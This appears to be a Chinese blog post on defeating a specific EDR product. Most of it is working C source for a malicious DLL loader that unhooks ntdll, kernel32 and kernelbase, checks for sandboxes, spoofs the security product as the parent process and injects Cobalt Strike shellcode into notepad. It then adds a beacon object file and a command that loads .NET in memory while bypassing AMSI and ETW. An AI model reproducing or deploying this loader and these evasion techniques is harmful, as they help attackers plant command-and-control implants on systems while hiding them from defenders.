免杀实战-EDR对抗

文章目录

杀软分析

x64dgb简单调试发现该edr在r3环对ntdll.dll和kernel32.dll关键函数均存在hook,这里硬盘读取原来的dll进行重新加载,原理如图

loader

c 复制代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
#include <TlHelp32.h>
#include<stdlib.h>
#include<iostream>
#include <psapi.h>

BOOL  EnableDebugPrivilege()
{
	HANDLE token_handle;
	LUID luid;
	TOKEN_PRIVILEGES tkp;
	//打开访问令牌
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token_handle))
	{
		return   FALSE;
	}
	//查询luid
	if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
	{
		CloseHandle(token_handle);
		return   FALSE;
	}
	tkp.PrivilegeCount = 1;
	tkp.Privileges[0].Luid = luid;
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	//调整访问令牌权限
	if (!AdjustTokenPrivileges(token_handle, FALSE, &tkp, sizeof(tkp), NULL, NULL))
	{
		CloseHandle(token_handle);
		return   FALSE;
	}
	return TRUE;
}

typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	ULONG CreateThreadFlags,
	SIZE_T ZeroBits,
	SIZE_T StackSize,
	SIZE_T MaximumStackSize,
	LPVOID pUnkown
	);
typedef FARPROC
(WINAPI
	* pGetProcAddress)(
		_In_ HMODULE hModule,
		_In_ LPCSTR lpProcName
		);
typedef HMODULE
(WINAPI
	* pLoadLibraryA)(
		_In_ LPCSTR lpLibFileName
		);

int ppidfunc(DWORD pid, LPVOID lpBuffer, DWORD dwFileSize) {
	PROCESS_INFORMATION pi = { 0 };
	STARTUPINFOEXA si = { 0 };
	SIZE_T sizeToAllocate;
	si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
	//getparenthandle
	HANDLE parentProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
	//UpdateProcThreadAttribute
	InitializeProcThreadAttributeList(NULL, 1, 0, &sizeToAllocate);
	si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeToAllocate);
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &sizeToAllocate);
	UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
	//CreateProcess
	CreateProcessA(NULL, (LPSTR)"notepad.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
	LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, NULL, dwFileSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(pi.hProcess, lpBaseAddress, (LPVOID)lpBuffer, dwFileSize, NULL);
	HANDLE hRemoteThread = NULL;
	DWORD ZwRet = 0;
	HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
	typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx");
	ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, pi.hProcess, (LPTHREAD_START_ROUTINE)lpBaseAddress, NULL, 0, 0, 0, 0, NULL);
	WaitForSingleObject(hRemoteThread, INFINITE);
	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);
	CloseHandle(parentProcessHandle);
	return 0;
}
BOOL box()
{
	MEMORYSTATUSEX memoryStatus;
	memoryStatus.dwLength = sizeof(MEMORYSTATUSEX);
	GlobalMemoryStatusEx(&memoryStatus);
	DWORDLONG RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024 / 1024;  //内存RAMMB(G)
	if (RAMMB > 2)
	{
		SYSTEM_INFO systemInfo;
		GetSystemInfo(&systemInfo);
		DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;
		if (numberOfProcessors > 4)
		return FALSE;
	}
	else
	return TRUE;
}
BOOL  isPrime(long long number) {
	if (number <= 1)
		return FALSE;
	int i = 2;
	for (; i <= number; ++i) {
		if (number % i == 0) {
			return FALSE;
		}
	}
	return TRUE;
}

DWORD UNHOOKntdll(char* dllname) {
	MODULEINFO mi = {};
	HMODULE ntdllModule = GetModuleHandleA(dllname);

	GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi));
	char nn[100] = { 0 };
	LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;//mi.lpBaseOfDll=ntdllModule
	sprintf_s(nn, "c:\\windows\\system32\\%s", dllname);
	HANDLE ntdllFile = CreateFileA((LPCSTR)nn, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
	LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

	PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
	PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

	for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
		PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

		if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
			DWORD oldProtection = 0;
			bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
			memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
			isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
		}
	}

	CloseHandle(ntdllFile);
	CloseHandle(ntdllMapping);
	FreeLibrary(ntdllModule);

	return 0;
}
DWORD FindProcPid() {
	HANDLE hProcessSnap = NULL;
	BOOL bRet = FALSE;
	PROCESSENTRY32 pe32 = { 0 };
	DWORD dwProcessId = 0;
	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
	pe32.dwSize = sizeof(PROCESSENTRY32);
	if (hProcessSnap != INVALID_HANDLE_VALUE) {
		bRet = Process32First(hProcessSnap, &pe32);
		while (bRet) {
			if (!_wcsicmp(pe32.szExeFile, L"EPConsole.exe")) {
				dwProcessId = pe32.th32ProcessID;
				break;
			}
			bRet = Process32Next(hProcessSnap, &pe32);
		}
	}
	return dwProcessId;
}
int killme()
{
	char g_TargetFile[] = "c2.bin";
	//打开文件
	HANDLE hFile = CreateFileA((LPCSTR)g_TargetFile, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
	//获取文件大小
	DWORD dwFileSize = GetFileSize(hFile, NULL);
	//申请一块内存空间
	PVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	//将内存读取到申请的内存空间
	DWORD dwReadLength = 0;
	ReadFile(hFile, lpBuffer, dwFileSize, &dwReadLength, NULL);
	//关闭文件
	CloseHandle(hFile);
	if (box()) {
		isPrime(1000000000000000003);
	}
	else {
		DWORD pid = FindProcPid();

		UNHOOKntdll((char*)"ntdll.dll");
		UNHOOKntdll((char*)"kernel32.dll");
		UNHOOKntdll((char*)"kernelbase.dll");
		//EnableDebugPrivilege();//对于获取system权限的进程而言需要管理员权限启动
		ppidfunc(pid, lpBuffer, dwFileSize);
	}
	return 0;
}
extern "C" _declspec(dllexport) void test()
{
	killme();
}

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

这里伪造成杀软的子进程形成父进程信任链,通过ZwCreateThreadEx对子进程注入上线

通过白名单+伪签名的黑dll上线,发现执行命令就死,猜测应该是cs的shell功能触发了edr的启发式导致被杀

BOF

这里通过BOF执行命令

c 复制代码
#include "bofdefs.h"

extern "C" {
    void go(char* buff, int len) {
        
		DFR_LOCAL(KERNEL32, CreateToolhelp32Snapshot);
		DFR_LOCAL(KERNEL32, Process32First);
		DFR_LOCAL(KERNEL32, Process32Next);
		DFR_LOCAL(KERNEL32, CloseHandle);


        //add ...
		PROCESSENTRY32 pe32;
		pe32.dwSize = sizeof(pe32);
		HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
		if (hProcessSnap == INVALID_HANDLE_VALUE)
		{
			BeaconPrintf(CALLBACK_OUTPUT," CreateToolhelp32Snapshot调用失败! \n");
			return;
		}
		BOOL bMore = Process32First(hProcessSnap, &pe32);
		while (bMore)
		{
			BeaconPrintf(CALLBACK_OUTPUT, "Process Name is : %s\t", pe32.szExeFile);
			BeaconPrintf(CALLBACK_OUTPUT, "Process ID is: % d \n", pe32.th32ProcessID);
			bMore = Process32Next(hProcessSnap, &pe32);
		}
		CloseHandle(hProcessSnap);
    }

}
#ifndef BOF
void main(int argc, char* argv[]) {
    go(NULL, 0);
}

#endif
inline-execute a.obj

.NET

发现还可以内存加载.NET,需要bypass etw和amsi

c# 复制代码
using System;
using System.Runtime.InteropServices;
namespace coleak
{
    class winfun
    {
        [DllImport("User32.dll")]
        public static extern int MessageBox(IntPtr h, string m, string c, uint type);
        [DllImport("kernel32.dll", EntryPoint = "Beep")]
        public static extern bool mymethod(uint frequency, uint duration);
    }
    class Program
    {
        static void Main(string[] args)
        {
            winfun winfun = new winfun();
            winfun.MessageBox((IntPtr)0, "yueyy", "coleak", (uint)0);
            Random random = new Random();
            for (int i = 0; i < 10000; i++)
            {
                winfun.mymethod((uint)random.Next(10000), 100);
            }
            Console.ReadLine();
        }
    }
}
inlineExecute-Assembly --dotnetassembly test.exe  --amsi --etw --appdomain forRealLegit --mailslot forRealLegit
相关推荐
霖雨3 小时前
使用Visual Studio Code 快速新建Net项目
java·ide·windows·vscode·编辑器
唐宋元明清21883 小时前
Surface pro 11二合一平板参数调研
windows·外设
ZIM学编程3 小时前
Java基础Day-Sixteen
java·开发语言·windows
Ling-X59 小时前
红日靶机(七)笔记
linux·windows·内网渗透·靶机笔记·vulnstack
文人sec12 小时前
泷羽sec学习打卡-Windows基础virus
windows·学习·安全·web安全·php
曙曙学编程13 小时前
初级数据结构——单向链表
数据结构·windows·链表
zhyjhacker16 小时前
4.1 WINDOWS XP,ReactOS对象与对象目录----1
windows
funnycoffee12317 小时前
Windows bat批处理实现文本复制到剪贴板
windows·windows批处理
N0zoM1z018 小时前
2024 西湖论剑 Reverse BabyCPP
windows
**之火19 小时前
window属性:crypto
开发语言·javascript·windows·ecmascript